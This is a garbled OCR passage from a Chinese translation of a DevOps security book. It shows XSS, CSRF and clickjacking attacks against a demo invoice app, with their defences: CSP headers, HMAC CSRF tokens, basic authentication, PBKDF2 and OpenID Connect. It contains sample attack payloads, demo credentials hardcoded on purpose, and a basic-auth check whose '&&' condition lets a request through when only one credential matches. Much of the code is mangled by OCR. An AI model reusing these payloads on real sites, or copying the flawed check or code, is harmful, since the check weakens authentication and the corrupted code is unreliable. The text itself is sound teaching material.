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生危害，例如盗取信息或是冒充用户执行操作。

随着Web应用复杂性的增加，XSS攻击的重要性也在增加，它已经变成了报告 

最多的现代网站安全问题。我们既然知道发票应用完全暴露在XSS攻击之下,那么 

我们就先来探讨这个漏洞，然后讨论如何防范它。

你可能想起了在第2章中,发票应用暴露了一些管理发票的终端节点，其中 

ー个会基于在POST请求的正文中提交的JSON数据来创建新发票。把代码清单 

3.3中的JSON文档当成一次攻击的输入,特别留意其中的description字段。这个 

字段包含的并不是普通的字符串，而是植入了一段调用JavaScript alert()函数 

的HTML代码。

代码清单3.3恶意发票载荷，XSS就存储在description字段里

"is_paid"： false,
*' amount" ： 51,
"due_date": "2016-05-07T23:00:00Z",
•'charges •,： [ 

(
ntype"："physical checkup", 
"amount"： 51,
"description"： "<script type='text/javascript'>alert('xss')；</script>" 

)
]

)

将这份文档保存成文件并通过POST发给发票应用API。

代码清单3.4通过POST将恶意载荷发送给应用

curl -X POST -d @/tmp/baddata.j son
http：//***.com/invoicer/invoice 
created invoice 3

当你尝试用浏览器访问AP!的/invoice/终端节点来获取该发票时，如图3.5所 

示，返回的description字段和你发送的是ー模ー样的:就是ー个字符串，并不会出 

现什么恶意行为。
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图3.5在浏览器中呈现欺诈的JSON数据不会执行任何攻击。

但是如果你是通过刚刚添加到发票应用的Web界面来访问发票的话, 

description字段则会作为HTML代码呈现给用户,而不是原始的JOSN。浏览器将 

〈script〉片段当作代码来解释，并作为页面渲染的一部分来执行。渲染的结果就 

是包含在恶意载荷中的alert ()函数会被触发并弹出警告框,如图3.6所示。

图3.6在HTML文档中渲染欺诈的JSON将触发对〈script)代码块的解释,并执行XSS攻击。

为什么在访问原始JSON的时候恶意代码不会被执行？这是因为返回原始 

JSON的API终端节点还同时返回了一个名为Content-Type的HTTP标头,它的 

值为application/json。浏览器知道数据不是HTMし文档,也就不会执行它的内容。 

XSS是只存在于HTML页面中的ー个问题,页面中的脚本和样式可能会被滥用来执 

行恶意代码。这种攻击很少岀现在Web API上，除非这些API被滥用,把HTML或 

者订阅源数据返回到了其他HTML页面之中。
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XSS攻击有很多不同的形式。刚刚使用的这种攻击尤其危险,因为它将数据永 

久地保存在发票应用的数据库之中，所以它又被称为持久性XSS。其他类型的XSS 
不需要在应用数据库中存储数据,而是滥用查询参数的解释。发票应用也容易受到 

这种类型的XSS攻击，它被称为DOM (Document Object Model) XSS i-I因为 

它会修改浏览器的文档对象模型。要执行这种攻击，你需要在一个查询参数(例如 

invoiceid参数)字符串中植入代码。

代码清单3.5 DOM XSS攻击使用查询参数中的代码

http：//***.com/invoicer/?invoiceid=<script type®'text/ 
javascript'>alert('xss *);</script>

在浏览器中输入代码清单3.5中的URL, Web界面就会使用保存在invoi
ceid 参数中的值来渲染部分页面。JavaScript欺诈代码就会被添加到页面的HTML 
中并被执行。这种类型的XSS要求攻击者将欺诈链接发给攻击目标并让他们点击, 

这看起来是实施的障碍，但实际上，攻击者可以轻易通过将这些链接隐藏在钓鱼邮 

件或网页按钮中来达到目的。

那么，应该如何防范XSS攻击呢?有许多可行的方法。对Web应用来说，一 

般建议如下:

• 在提交时对输入进行校验,例如，依次检查收到的发票的每ー个字段，使用 

正则表达式对它们进行检查。

• 在渲染之前对所有返回给用户的数据进行转义。大多数语言都有可以转义内 

容的库。

代码清单3.6展示了在Go语言中内容是如何使用htm!包来转义的。转义之后 

的字符串不会被浏览器解释为合法的HTML,因此不会导致代码的执行。

代码清单3.6使用Escapestring 〇对内容转义并阻止XSS攻击

package main
import (

M fmtn 
nhtml" 

) 
func main() {
escaped ：= html.Escapestring(

、〈script type='text/javascript'>alert('xss')；〈/script〉、) 

fmt.Printin(escaped)
)

Output: &lt；script type=&#39；text/
javascript&#39;&gt；alert(&#39；xss&#39；)；&lt；/script&gt；
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对用户提交的数据进行校验和转义是很有效的技巧。在开发人员的安全工具包 

中,其应该是保护Web应用的首选工具,但是也有一些缺点：

・ 开发者要在代码中手动对所有输入输出进行转义，并且确保无ー遗漏。

• 如果Web应用接收像XML或SVG这样的复杂格式作为输入,那么这些文件 

中对字段的检验和转义就会破坏文件的结构。

除了通过校验输入和编码转义输出,现代Web应用还应该利用网络浏览器内置 

的安全特性，其中最有效的可能就是内容安全策略(CSP, Content Security Policy)〇

CSP开辟了一条信道，Web应用借助这条信道告知浏览器在渲染网站时要执 

行什么和不要执行什么。例如，发票应用通过声明一条禁止执行内联脚本的策略， 

就可以借助CSP来阻止XSS攻击。应用只要在返回的每ー个HTTP响应中都带上 

HTTP标头，就可以声明CSP。

什么是内联脚本?

可以通过两种方式将独立的JavaScript代码嵌入到HTML页面中。代码可 

以保存在单独文件里,通过标签 <script src="...">引用这个文件，这 

个标签将会获取src指定位置的外部资源。或者,代码可以直接加在脚本锚点 

之间:<scripts>alert ( ' test' ) ;</script>o第二种方法就是内联代码， 

因为代码被直接加到了页面里,而不是作为外部资源加载。

代码清单3.7中的策略告诉浏览器开启CSP，它默认会阻止内联脚本，并且只 

信任来自同一来源(托管发票应用的域)的内容。

代码清单3.7禁止内联脚本执行的基本CSP

Content-Security-Policy ： default-src •self 1；

利用代码清单3.8中的Go代码，你可以将这个标头设置为与发票应用主页上 

的每次请求一起返回。

代码清单3.8每次请求都返回CSP标头的G。代码

func getIndex(w http.Responsewriter, r *http.Request) {
w.Header () .Add ( "Content-Security-Policy" , "default-src 1 self ' ； )

与响应ー起返回

你可以从Web应用路径上的任意基础设施组件上发送CSP标头，比如位于发 
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票应用前面的Web服务器。

尽管让Web服务器返回安全标头是ー种不错的方法，可以保证标头每次都能被 

设置,但我还是建议在应用代码中直接管理CSP,这样开发人员实现和测试起来会 

更加容易。CI中的ZAP基线扫描将找出缺少CSP标头的页面。

我们再来访问一下启用了 CSP的欺诈URL，并在Firefox开发者控制台中检查 

结果。用右键单击页面,选择Inspect Element （查看元素），然后你就可以进入开发 

者控制台了。在浏览器底部打开的面板中,单击Console （控制台）标签页，可以 

查看浏览器在解析页面时返回的错误消息。

在页面的搜索框中输入触发XSS的恶意代码。在没有启用CSP时，它会触发 

alert「xss，）这段代码。而当CSP被启用后，浏览器会拒绝渲染输入,并将以下 

错误记录在控制台中。

代码清单3.9当XSS被拦截时,CSP违规会被记录到Firefox控制台中

Content Security Policy： The page* 1s settings blocked the loading of a 
resource at self ("default-src http：//***.com/invoicer/")

Invoicer Web

I Showing invoke ID 1

Invwcv ID ] amount (1664 «nd description 'blood work'

Request an invoice by ID
ID [cripoalerti xss'l^/script* Submit Queiy

Q 〇 !nspe 0 De<xj 1 ) Style E. . 〇 Perform r □ B □ 0 1 ' *
• {jet ロ5 JS • Secyrily ■ Logging • Server Clea[
I x Content Stturiry Policy; Th* page't 、。”blocked the loading of a resource at , ー「、ー ' '

I »»tf <*<lefault-src http i //Invoice r - apt, 3pjw7c»4hl. ui - e««t • l.«l attlcbeanttaU. cW».

图3.7 CSP告知浏览器不要执行内联脚本,这样就拦截了 XSS攻击。

CSP通过阻止欺诈脚本在浏览器中执行来保护应用的用户。这种方法的优势是， 

用一条简单策略就可以防止大范围的攻击。然而，这个例子被极大地简化了,现代 

Web应用通常需要复杂的CSP指令来让各种组件协作。代码清单3.10展示了链接3.7 
中的CSP,它使用了比发票应用复杂得多的策略。

Firefox的UI不会显示任何消息,不会告诉用户攻击已被阻止。禁止的行为被 

拦截了,而页面的其余部分会正常渲染,就好像什么都没发生一样。仅有的违规迹 

象岀现在开发者控制台中，如图3.7所示。

@ Invotcar Web - Mozilla Flr»fox 口加事通屈

,invoicer Wet k 1*

♦ ' .vor • 1 Jf|w7ca4h U5-east-l.e<asitictM U キC a D » =
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代码清单3.10 CSP指令展示了为大型网站编写策略的复杂性

Content-Security-Policy ：

script-src
• self•
https：//***.mozilla.org
https：//www.***lobjects.com
https：//www.***.com/recaptcha/ 
https：//ssl.***.com；

default-src
1 self,； 

img-src
'self'
https：//www.***.com
https：//ssl.***.com
https：//addons.***.mozilla.net; 

style-src
'self'
1 uns afe-ini ine , --------
https：//addons.***.mozilla.net； 

child-src
'self1
https：//ic.***.com
https：//***.com
https：//www.***.com/recaptcha/
https://www.***.com；

object-src I
• none'；

connect-src |
• self•；

font-src
,self 1
https：//addons.***.mozilla.net；

只有来自这些网站的脚本 
（包括内联脚本）才能执行。

页面中渲染的图片只能来自 
本站和其他三个地址。

I绕过保护,允许HTML元素 
］中的所有样式。

控制哪些＜iframe＞目标可 
以从该网站加载。

禁止所有插件，比如Flash。

只允许向本站发起Ajax请求。

从本站和CDN加载字体。

拯救老网站的CSP
我不是随随便便地选中了 Mozilla的插件网站,它是Mozilla年代最久远的 

网站之一,同时它还是风险级别最高的网站,因为它管理着Firefbx使用的插件。 

在几年前，它的老代码还特别容易受到XSS攻击,我们几乎每周都会收到来自 

问题赏金计划的漏洞报告，直到我们启用了 CSP!在ー天之内,报告就消失不 

见了,工程师们再也不用陪漏洞玩打地鼠的游戏了,取而代之的是他们对网站 

改进地全身心投入。

这里我将略过代码清单3.10中的策略细节。如果你对这种复杂的机制感兴趣, 

请查阅MDN上的文档（链接3.8）。CSP很复杂,而且可能还很难实现。现代Web 
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应用是动态的,而且会以不同的方式和网络浏览器及第三方进行交互。CSP提供了 

一种方法来定义不能被接受的交互。这可以大大提升安全性，但也需要一些投入。 

CSP的复杂性是它应该由应用开发人员来直接管理的原因，不要完全指望由安全团 

队来解决它。

我们回到TDS模型，看看发票应用在启用CSP之后的ZAP基线扫描。

代码清单3.11实现CSP之后的ZAP基线扫描

FAIL： Absence of Anti-CSRF Tokens
FAIL： X-Frame-Options Header Not Set

FAIL: 2 WARN: 0 INFO: 4 IGNORE: 0 PASS: 44

现在，在测试结果中找不到关于XSS及CSP的两条故障了，这就是代码清单 

3.8中的补丁在提交后所期望的结果。这个补丁在发票应用的主页中添加了 CSP标 

头。现在我们可以专注于清单中的另一条故障ー"跨站请求伪造(CSRF, Cross-Site 
Request Forgery)〇

3.2.2跨站请求伪造
ー个网站可以链接位于另ー个网站里的资源，这是Web的核心概念。如果网站 

之间的协作都以互相尊重为基础,不去尝试使用超链接来修改对方的内容，这种模 

型的效果就很好,但它却不能杜绝滥用。CSRF攻击就是这样做的:滥用网站间的 

链接，强迫用户执行本不打算执行的操作。

来看看图3.8中展示的流程。用户不知何故被骗去访问恶意网站，可能是由 

于钓鱼邮件或者其他什么方式。在第一步连接到恶意网站的时候,返回给浏览器 

的HTML中包含了一个指向链接3.9的图片链接。在第二步中,浏览器在处理由 

HTML构建的页面时，向该图片的URL发送了 GET请求。

这个URL中并没有任何图片，因为GET请求的目的是删除ー份发票。发票应 

用对正在进行的攻击ー无所知,它认为这个请求是合法的，并删除了数据库中编号 

为2的发票。恶意网站成功地迫使用户伪造了一个跨越到发票应用的请求，这种攻 

击因此而得名:跨站请求伪造。

你可能会想：“不应该是发票应用网站的身份验证来拦截这种攻击吗?”这在 

某种程度上是对的，但仅限于在攻击发生时用户还没有登录到发票应用的这种情况。 

如果用户已经登录到了发票应用，并且正确的会话cookie已经被保存到了本地,那 

么浏览器会把这些会话cookie和GET请求一起发出去。在发票应用看来，删除操 

作是完全合法的。
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GET /index.html

（1）<html>

<body>

<img src="http://invoicer.com/*** /delete/2" />

</body>

、々/html >

恶意网站

图3.8 CSRF攻击诱骗用户访问恶意网站(1),并且未经他们同意就向发票应用网站发送请求 
(2)〇

我们可以使用跟踪令牌来防范CSRF，这个令牌在构建主页时会发给用户，然 

后在提交删除请求时由浏览器发送回来。因为恶意网站的操作是盲目的,无法访问 

发票应用和浏览器之间交换的数据,所以它不能强迫浏览器在触发欺骗性的删除请 

求时发送令牌。发票应用只需要在采取行动前确认令牌是存在的即可。如果令牌不 

存在，请求就是非法的,应该被拒绝。

在发票应用中实现CSRF令牌的技术有很多种方式。我们选择的这种HMAC 
加密算法不需要在服务器端维护状态。HMAC,即哈希密钥验证码(Hash-based 
Message Authentication Code)，是一种哈希算法，它根据输入值和密钥来生成一个 

固定长度的输出值(无论输入的长度是多少)。你可以使用HMAC生成一个唯一的 

令牌并提供给网站访问者,后续的请求将使用这个令牌进行验证以防止CSRF攻击。

代码清单3.12 CSRF令牌:根据随机值和密钥生成的HMAC

CSRFToken = HMAC(random value, secret key)

发票应用在每次主页被请求的时候将生成独ー无二的HMAC,其结果就是 

CSRF令牌。当浏览器向发票应用发起删除请求的时候，HMAC会被校验,只有校 

验通过，请求オ会被处理。图3.9展示了 CSRF签发和验证的流程。
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图3.9当用户访问发票应用的主页时,发票应用给用户签发一个CSRF令牌（最上面的GET / 

请求）。接下来的POST /invoice请求必须一并提交这个CSRF令牌，以确保用户在发起其他请 
求之前先访问主页,而不是被胁迫要通过第三方网站来发送POST请求。

当用户访问发票应用的主页时，返回浏览器的HTML文档包含了一个独一无二 

的CSRF令牌，它的名字是CSRFToken,它保存在表单数据的ー个隐藏字段里。代码 

清单3.13是从HTML页面中提取出的一部分内容,并展示了表单隐藏字段里的CSRF 
令牌。

代码清单3.13保存在HTML表单隐藏字段里的CSRF令牌

<form id= •'invoiceGe11er" method=nGET" >
<label>ID ：</label>
<input id= Hinvoiceid1* type=ntext" />

<input type=Mhidden" name="CSRFToken" value="Sltzo02vhdM
CqqkN3jFpFt/BnBOR/N6QGM764sz/oOY=$7P/PosE58XEnbzsKAWswKqMU 
UPxbo+9BM9mOIvbHv+s=">

<input type="submit" />
</form>

在提交表单时,同样是来自主页的JavaScript代码将从表单的值里获取令牌,并 

放到请求的HTTP标头X-CSRF-Token里,这个请求将被发送给发票应用。代码清 

单3.14中的代码使用jQuety框架发送带令牌的请求。你可以查看发票应用源代码仓 

库中的statics/invoicer-cli.js,在该文件的getエnvoice ()函数里可以找到相关代码。
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代码清单3.14在请求中使用CSRF令牌的JavaScript代码

function getlnvoice(invoiceid, CSRFToken) {
$(• . desc-invoice ' ) .html ( u<p>Showing invoice ID 11 + invoiceid + )；

$.aj ax({
url： "/invoice/delete/" + invoiceid,
beforeSend： function (request) { 这段 JavaScript 代码从表单的值中获
request. setRequestHeader ( 取CSRF令牌,并炳它添加到发给发

'1X-CSRF-Token", ------------- 票应用请求的HTTP标头星。

$("#CSRFToken").va!〇); 

) 
}).then( function(resp) {
$('.invoice-details 1) .text(resp)； 

))；

)

在发票应用这边，处理发票删除的终端节点在处理请求之前,先从HTTP标头 

里获取令牌并调用checkCSRFToken(),以及对HMAC进行验证。这段代码如 

代码清单3.15所示。

代码清单3.15在接受请求之前验证CSRF令牌的Go代码

func (iv *invoicer) deletelnvoice(w http.Responsewriter, r *http.Request) { 
if !checkCSRFToken(r.Header.Get("X-CSRF-Token")) { ◄----------------

w.WriteHeader(http.StatusNotAcceptable)
w. Write ( [] byte (" Invalid CSRF Token")) 确认 CSRF 令牌存在而
return 且合法。

)

}

发票应用通过生成另ー个新的令牌来验证提交过来的令牌,这个新的令牌使用 

接收到的用户数据和只有发票应用可以访问的密钥生成。I如果两个令牌相等,发 

票应用就可以信任收到的用户请求。如果验证失败，那么请求不会被处理,还会 

返回给浏览器ー个错误代码。要破解这个方案，必须破解HMAC背后的加密算法 

(SHA256)或者取得密钥，这都是极难实现的。

回到攻击的例子，这一次我们启用了 CSRF令牌。攻击者在恶意网站上设置 

的代码＜img src＞仍然会生成一个发给发票应用的请求，但是不会包含正确的 

CSRF令牌。发票应用会以错误代码406 Not Acceptable拒绝该请求，如图3.10中的 

Firefox开发者控制台所示。

应用和浏览器之间的令牌舞蹈可能很快就会变得复杂起来，在ー个大型应用上 

实现CSRF不是ー个轻松的任务。因此,许多Web框架自动支持CSRF令牌。开发

!在第3章源代码仓库的main.go文件中,可以找到checkCSRFToken ()这个方法的实现。——译者注 
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者几乎不需要自己来实现令牌，但深入了解这种攻击方式及其防范方法可以帮助你 

指导DevOps团队如何来保护Web应用。

* CSRF Attack against the lnvolc«r - Mozilla Firefox

CSRF Attack against the . x

G ； fileV//tmp/badpage.html C* * a Search
☆自

This page has a hidden image that triggers a CSRF attack to delete invoicer #2 
without user approval.

Q 〇 Insp... >_ Co... © Deb... () Style E... Q Perfor M Net..

Status Met.. Headers Cookies Params Response

40« G€T Request URL： http：//involcer-apl.3pjw7ca4hl .us-east-1.elasticbean
Request method: GET
Remote address: 52.87.136.111:80
Status coda: 1 406 Not Acceptable 
Version: http/1.1

Edit and Resend Ra

□ B EJ 1 O n x

な Filter beaders 

▼ Response headers (0.170 KB)
Connaction： keep-alive"
Content-Length: "IB"
Content-iypa: "texUplam. €harset=utf B"
Date: ,'Sat 11 Jun 2016 20:33:03 GMT-

HTML CSS JS XHR Fonts Images Media Flash Other 〇 One request, 0 KB, 0.0

图3.10被诱骗进行CSRF攻击的用户因为缺少令牌而得到了保护;他们的请求没有被发票应用 
处理。

SameSite cookie
在编写本书时，网络浏览器开始集成一个新的参数:SameSite cookie，它 

能更简单地规避CSRF攻击。如果应用开发者在给定的cookie上设置了属性 

SameSite=strict,那么就是告知浏览器用户：只有在直接浏览目标网站（浏 

览器地址栏里就是这个网站）的时候オ会发送该cookie,比如，发票应用网站 

设置的带SameSite属性的cookie不会与在访问恶意网站时发起的请求一起发 

送，因此可以阻止恶意网站向发票应用网站发起CSRF攻击。

在将来,SameSite属性可能会成为会话cookie的标准，这样就可以完全 

避免CSRF攻击。但是老浏览器缺少SameSite支持的长尾效应,这意味着应用 

还要保持向后兼容性，以便能处理不能访问该属性的情况，而且应该优先选择 

基于HMAC的CSRF令牌

实现了 CSRF令牌之后,再次运行基线扫描,以确认缺少防CSRF令牌的故障 

是否已经消失。



64 3第一层安全性：保护Web应用

代码清单3.16升级之后的基线扫描不再警告防CSRF令牌的缺少

FAIL： X-Frame-Options Header Not Set [10020] x 6

FAIL: 1 WARN: 0 INFO: 4 IGNORE: 0 PASS: 45

只剩ー个了!下ー个关注的主题是解决X-Frame-Options问题和消除点击 

劫持攻击的影响。

3.2.3点击劫持和IFrame保护
在互联网诞生的早期,网站常常使用内联窗口和HTML标签＜iframe＞来互 

相内嵌对方的内容。如今,这种方法已经不受欢迎，网站倾向于使用更优雅的技术 

将不同的来源组装成网站。然而，IFrame技术仍然存在，还被浏览器全面支持，这 

可能会导致ー种非常危险的攻击向量——点击劫持。

欺诈网站利用点击劫持技术欺骗用户点击ー个指向另一个网站的隐藏链接。我 

们来看这个例子：恶意网站创建了一个指向发票应用网站的圧rame，页面上只有这 

个圧rame使用样式指令来渲染成对用户不可见。用户被诱骗访问恶意网站并点击ー 

个链接，用户不知道的是这个链接实际上是发票应用网站上的一个按钮,这个按钮 

在屏幕上是看不见的。

图3.11展示了对发票应用网站主页的点击劫持攻击。图中左侧,透明度被设 

置成了 50%,可以看到恶意网站的CLICK ME!链接正好被发票应用网站主页上的 

Delete This Invoice按钮盖住了。图中右侧，使用CSS指令opacity ;〇就让发票 

应用网站的IFrame完全看不见了。用户以为他们点击的是CLICK ME!按钮，而实 

际上，覆盖在上面的发票应用网站圧rame让他们点击了 Delete This Invoice按钮。

opacjty:0.5; opacity: 0;

Invoicer Web
Showing invoice ID 1

Invoice ID 1 has amount $1664 and de&tfiptlon

Request an invoice by ID

Click the 由占出c Click the magic button： CLICK ME!

图3.11点击劫持攻击使用了隐藏的!Frame （图中左边将它的透明度设置成了 50%）1欺骗用户 
点击目标网站的链接。
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和CSRF类似,浏览器在处理欺诈请求时会使用现有的身份验证和会话。从浏 

览器和发票应用的角度看,欺诈点击是合法的。

浏览器早就意识到了点击劫持的风险，并实现了有针对性的防护措施。这些防 

护措施默认是没有启用的，需要手动添加。防止点击劫持的现代方法是使用CSP来 

为child-src，self'设置策略，这表示网站只允许同一来源的页面嵌入IFrame 
之中。

正如ZAP基线扫描提示的那样，另ー种防止点击劫持的方法是设置HTTP标头 

X-FRAME-0PTI0NSo返回值为SAMEORIGIN的这个标头，和使用CSP指令阻止 

浏览器加载恶意网站中的invoicer圧rame的效果是ー样的。不是所有的浏览器现在 

都支持CSP的child-src指令，所以使用X-FRAME-OPTIONS再加上CSPオ是 

保护所有浏览器的有效方法。

由于你已经在发票应用的主页上设置了 CSP,你可以在其中加入child-src 
来扩展它,还要加上X-FRAME-OPTIONS标头。代码清单3.17扩展了已经在代码 

清单3.8中设置过的标头。

代码清单3.1z为发票应用的索引页添加点击劫持的保护

func getlndex(w http.Responsewriter, r *http.Request) { 
w.Header().Add("Content-Security-Policy", 

"default-src ' self ' ； child-src * self ； ••)
w.Header().Add("X-Frame-Options"t "SAMEORIGIN")

)

搞定了最后这一个问题，基线扫描将成功通过，返回的退出码是0,并且允许 

CircleCI将构建过程继续进行下去。将来如果再次引入任何漏洞，自动化扫描都会 

捕获它并立即报告给开发者。

基线扫描覆盖了许多问题,但其中有一些是和应用的业务逻辑相关的,需要用 

不同的方式处理。你可能已经注意到了发票应用现在还没有任何身份验证,对ー个 

被设计用来管理敏感数据的应用来说，这是很令人担忧的。ZAP无法提醒你这一点， 

因为它不知道哪些资源需要身份验证。在下ー节，我们将讨论网站和Web API对用 

户进行身份验证的常见技术。

3.3用户身份验证的方法
对Web应用的安全运行来说,验证用户身份是最困难的任务之ー。设计糟糕的 

身份验证机制可能会给ー个组织带来严重的后果,而且这种事情发生的频率比你想 

象的还要高。你应该尽一切可能避免将任何密码存储在应用中，这是必须遵守的一 
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条规则。将这些事情交给其他人来完成,并依靠身份提供商来帮你对用户进行身份 

验证。

本节我们会讨论身份提供商,但是并非所有应用都得依靠它们，所以我们将从 

最简单的身份验证方法一HTTP基本身份验证开始。

3.3.1 HTTP基本身份验证
HTTP基本身份验证,顾名思义,就是支持在浏览器和Web应用之间进行身份 

验证的最简单方式。要验证特定用户的身份，浏览器将创建一个包含用户名、ー个 

冒号及用户密码的字符串，然后使用Base64将字符串编码,并放到身份验证HTTP 
标头里发送给应用。

代码清单3.18为HTTP基本身份验证创建一个Authorization标头

authorization = base64.encode(username + "：" + password)

在接收方这ー侧,应用执行逆向操作，从解码后的Base64身份验证标头中提取 

出用户名和密码。

除实现简单之外，当Web应用向浏览器发送ー个带有WWW-Authenticate 
标头的401 HTTP状态码时，浏览器会自动地提示用户输入用户名和密码。

我们来为发票应用实现基本身份验证。首先,你需要一个用户和一个密码，比 

如samantha和Ins3cur3。将它们作为常量定义在源代码中。这显然很不安全, 

但我们用这种方法来展示一下HTTP基本身份验证的行为。稍后，你会使用其他安 

全得多的方法代替这种身份验证方法。

代码清单3.19将用户凭证硬编码在发票应用中

const defaultuser string = "samantha" 
const defaultPass string = "Ins3cur3"

接下来,你要在处理发票应用的主页提供请求之前加上身份验证的步骤。在发 

票应用的getエndex ()函数中添加一些代码，这些代码会解析和请求一起发过来 

的Authorization标头，并将提交过来的用户名和密码与源代码中定义的用户 

名和密码进行对比。
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代码清单3.20实现HTTP基本身份验证的Go代码

func getlndex(w http.Responsewriter, r *http.Request) { 
if len (r. Header .Get ('•Authorization") ) < 8 | |

r.Header.Get("Authorization") [0:5] != 'Basic、{ 

requestBasicAuth(w) <--------------------------  
return

如果身份验证标头不 
存在或者标头格式错 
误,则要求浏览器提 
供凭证。

authbytes, err ：= base64.StdEncoding.DecodeString(
r.Header.Get("Authorization")[6：]) 

if err != nil {
requestBasicAuth(w) <<-------------------------
return

} 从标头中提取用户名和密码

authstr := fmt.Sprintf("%s", authbytes)
username ：= authstr[0：strings.Index(authstrz "：")] ---------
password ：= authstr[strings.Index(authstr, "：n)+1：]
if username != defaultuser && password != defaultPass {

requestBasicAuth(w) ◄---
.return 如果用户名或密码不匹配,则要求浏
) 览器提供凭证。

}

这段代码需要用户名和密码来保护发票应用的主页。你还要让浏览器将 

Authorization标头发给发票应用,可以使用代码清单3.2I中的requestBasicAuth () 
函数完成。

代码清单3.21要求身份验证凭证的Go代码

func requestBasicAuth(w http.Responsewriter) {
w.Header().Set("WWW-Authenticate", 'Basic realm="invoicer"')
w.WriteHeader(401)
w.Write([]byte('please authenticate')) 

)

这个函数用HTTP状态码401 .回应浏览器发送来的、未经身份验证的请求,这 

会弹出对话框,要求用户输入凭证,如图3.12所示。
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Walting for localhost..

图3.12当提示需要HTTP基本身份验证的时候，Firefox向用户显示ー个登录对话框,要求用 

户提供用户名和密码，它们将放在Authorization标头里发送。

HTTP基本身份验证很简单，因此也很流行,但它本身并不安全,原因如下:

•密码在互联网上以明文传输。现在，这己经在TLS中得到了解决。

• Web应用必须在数据库中维护全部用户密码，以检查身份验证请求。

第4章我们将讨论如何为发票应用的基础设施加上TLS,并对浏览器和应用之 

间的通信进行加密，从而防止网络中的监听器窃取凭证。保存和管理所有用户的密 

码依然是ー个棘手的问题，我们马上展开讨论。

3.3.2密码管理
无论基础设施的安全措施如何固若金汤,你的数据库终会有被泄露给大众的那 

一天。现在，这几乎就是一条自然法则,以至于我们在风险评估中总是会问这样ー 

个问题:“如果在Twitter上看到你的数据库泄露了，你该怎么办?”

数据库泄露带来的第一个影响就是用户密码被公开。用户往往会在不同的账户 

中使用同样的密码，而当攻击者取得了在线照片存储账户的访问权之后,就可以轻 

易地获得同一用户的银行账户访问权。因此,我们要用不可逆的方式存储密码,这 

样数据库泄露也不会暴露用户的原始密码。

存储不可逆密码的算法有好几种:bcrypt （链接3.10）、scrypt （链接3.11）、 

argon2 （链接3.12）及PBKDF2 （链接3.13）。它们大同小异。存储步骤大致如下：

1 .把明文的用户密码作为输入。

2 .读取数个随机字节，称为salt值。

3 .计算用户名密码加salt值的哈希H1 ： H1 =hash（password+salt）〇

4 .将哈希H1和salt值保存到数据库中。
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这类算法不会在数据库中保存明文的用户密码，保存的只是密码的哈希和数个 

随机字节的salt值。验证通过比较用户提交的值和数据库中的哈希来完成，步骤如下:

1 .获取明文的用户密码。

2 .从数据库中读取哈希HI和salt值。

3 .计算用户名密码加salt值的哈希H2 ： H2=hash(password+salt)〇

4 .如果H2和H1相等,用户提交的密码就和数据库中保存的值是匹配的。

这种方法的安全性来自哈希算法的抵抗力：攻击者几乎完全不可能从哈希中恢 

复密码。开发人员不应该自己编写哈希算法,而应该使用经过专业的密码专家评审 

过的算法。几乎所有语言都提供了安全的哈希算法实现。以下这个例子使用了 Go 
语言提供的PBKDF2。

代码清单3.22使用PBKDF2算法来安全保存用户密码的Go代码

password ：= "1ns3cur3" |得到 16 字节长的随机 salt 值。
salt ：= make([]byte, 16) .
rand.Read (salt) ---- 1 计算 hash=(password+salt)o
hl ：= pbkdf2.Key(password, salt, <---- •
65536, 32, sha256.New) 
fmt.Printf(Hhash=%X\nsalt=%X\nn, hl, salt)

以上代码输出的是要保存到数据库中的十六进制哈希和salt值。

代码清单3.23 PBKDF2计算返回的哈希值和salt的值

hash=42819258ECD5DB8888F0310938CF3D77EA1140A8468FF4350251A9626521E538 
salt=63152545D636E3067CEE8DCD8F8CF90F

密码哈希技术看起来简单，但数以百计的在线服务都没有正确地实现它。密码 

学是ー个复杂的领域,不知道在什么时候就会犯错，比如,不同用户共用ー个salt值, 

或者某个哈希参数的值设置得过低。

如果你必须在应用中实现密码哈希,请确保使用的是安全的算法,并请专业人 

员对你的代码进行审计。我们接下来讨论的方法要更安全一些，就是让外部服务来 

处理用户身份验证，而应用自己不再保存任何密码。

3.3.3身份提供商
管理用户和密码是ー项劳神费カ的工作。不仅因为密码数据有泄露的可能性, 

而且用户也容易弄丢密码或是重复使用相同的密码。对应用来说,用户密码的管理 

需要许多定制的功能(重置密码邮件、多因子认证,等等)，这些定制功能不会给 
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应用自身带来任何价值,但实现起来却费时费カ。

通常更好的方式是让其他人来承担这些成本。大多数现代应用都支持通过第 

三方登录,这些第三方被称为身份提供商(IdP, Identity Provider)。Google> 
Microsoft, Facebook, GitHub,还有很多其他服务都可以作为IdP,用户可以使用 

他们拥有的任何ー个身份提供商的账户来登录应用，而不用每个网站都创建一个 

新账户。

有一些协议实现了通常被称为单点登录(SSO, Single Sign-On)的技术，这种 

技术让用户登录一次就可以在多个服务中传播身份。大型企业中流行的是安全断言 

标记语言(SAML, Security Assertion Markup Language),但是它需要对 XML 文档 

进行签名和验证,因此实现起来可能会很难。最近几年，OAuth2和OpenlD Connect 
越来越流行，因为它们定义了一个比SAML更容易在应用中实现的协议。

新一代联合身份:OpenlD Connect
OpenlD Connect是在OAuth2的基础上专为网站用户验证身份而构建的协 

议。OAuth2是ー个强大且复杂的管理认证和授权的框架,而OpenlD Connect 
则是实现起来更为简单的OAuth2子集：如果你想更深入地了解OAuth2和 

OpenlD Connect,你应该阅读 Antonio Sanso 和 Justin Richer 合著的 OAuth2 in 

Action ( Manning出版社于2017年出版)ー书。

图3.13展示了用户通过IdP登录应用的一系列步骤:

1 .首先,用户访问应用，应用提示用户登录。

2 .登录按钮将用户重定向到IdP,使用的地址在其查询字符串中包含了自定 

义参数。

3 . IdP提示用户登录(或者重用已存在的会话)，并通过第二次重定向让用户回 

到应用。

4 .第二次重定向包含了一个授权码,应用将它提取出来并用来交换令牌。

5 .应用使用API令牌从IdP获取用户信息。

6 .这时候，用户オ算登录了应用，并且可以继续使用该应用。

这ー套连接流程显然比HTTP基本身份验证要复杂得多,但额外的复杂度带来 

了显著的安全优势：应用再也不用管理用户密码，甚至都不用访问用户密码。尽管 

请求流程看起来很复杂，但应用和身份提供商的集成却很简单。作为演示，我们将 

使用Google作为IdP,向发票应用添加OpenlD Connect的支持。
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图3.13 Open ID ConnecVOAuth2舞蹈让用户可以通过第三方登录应用。

首先你要从Google拿到ー个客户端ID和一个密钥。要拿到这些信息,你可以 

在链接3.14的Credentials控制台里创建一个OAuth客户端!D,如图3.14所示。除 

应用名称和类型之外，页面上还需要两条信息:
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,授权的JavaScript源(Authorized JavaScript Origin)，这是托管应用的域的列表, 

只有来自这些域的JavaScript才能向Google IdP发起查询。

•授权的重定向URL (Authorized Redirect URL),这是用户登录后可以被重定 

向的地址列表。在这里列出所有可以接受的URL,稍后在每次OAuth舞蹈时 

